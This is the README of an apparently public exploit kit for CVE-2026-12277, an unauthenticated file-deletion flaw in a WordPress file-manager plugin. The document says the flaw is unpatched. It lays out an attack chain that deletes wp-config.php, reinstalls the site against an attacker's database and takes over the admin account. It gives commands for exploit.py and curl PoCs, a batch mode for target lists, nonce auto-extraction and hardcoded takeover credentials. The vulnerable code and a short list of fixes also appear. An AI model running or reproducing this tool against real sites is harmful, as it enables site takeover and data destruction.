
Frontend File Manager Plugin (WordPress) <= 23.6 - Unauthenticated Arbitrary File Deletion to RCE
| Field | Value |
|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Affected | <= 23.6 |
| Type | Unauthenticated Arbitrary File Deletion |
| CVSS | 8.7 (HIGH) |
| CWE | CWE-73 (External Control of File Name or Path) |
| Prerequisite | Guest upload mode enabled |
| Patch | None (as of July 2026) |
| Researcher | Chamseddine Bouzaiene |
The plugin stores uploaded file paths in post metadata (wpfm_dir_path). The wpfm_file_meta_update AJAX endpoint:
files.php)nopriv (accessible without authentication)unset($_REQUEST['wpfm_dir_path']) defense can be bypassed via PHP request_order quirks (sending via query string)When wpfm_delete_file is called, it reads wpfm_dir_path from post meta and calls unlink() without any path validation.
| AJAX Action | Nonce Required | Auth Required | nopriv |
|---|---|---|---|
wpfm_file_meta_update | NO (commented out) | No | Yes (always) |
wpfm_delete_file | Yes | No | Yes (always) |
wpfm_upload_file | Yes | No | Yes (if guest upload on) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| File | Description |
|---|---|
exploit.py | Full Python exploit (detect → exploit → takeover) |
poc_curl.sh | Bash/curl PoC (Linux) |
poc_curl.ps1 | PowerShell/curl PoC (Windows) |
lists.txt | Target URLs (one per line, for batch mode) |
requirements.txt | Python dependencies |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Setelah exploit berhasil, login ke WordPress admin:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Argument | Required | Description |
|---|---|---|
-u, --url | Yes | Target WordPress URL |
-p, --path | No | Absolute path to wp-config.php on server |
--nonce | No | AJAX nonce (skip auto-extraction) |
--dbname | No | Attacker database name (default: wp_pwned) |
--dbuser | No | Attacker database user (default: root) |
--dbpass | No | Attacker database password |
--dbhost | No | Attacker database host (default: localhost) |
--proxy | No | HTTP proxy (e.g., http://127.0.0.1:8080) |
--timeout | No | Request timeout in seconds (default: 15) |
--detect-only | No | Only detect vulnerability, don't exploit |
The exploit automatically searches for wpfm_ajax_nonce in:
/file-manager/, /upload/, /files/, /file-upload/, etc./file-manager.php/wp-json/)The nonce appears as a hidden input field:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Or in localized JavaScript:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
The code does unset($_REQUEST['wpfm_dir_path']) to prevent direct overwrite. The bypass:
Query string injection: Send wpfm_dir_path via URL query parameter while other data goes via POST body. PHP's $_REQUEST merging behavior allows the value to persist depending on request_order config.
Pre-set during upload flow: The wpfm_dir_path meta is set during the initial file upload hooks. If exploited at that stage, no bypass needed.
| Component | Version |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin | Frontend File Manager 23.6 |
| OS | Windows (XAMPP) / Linux |
| Result | Full takeover confirmed |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_updatewpfm_dir_path against upload directory using realpath() + prefix checkThis tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.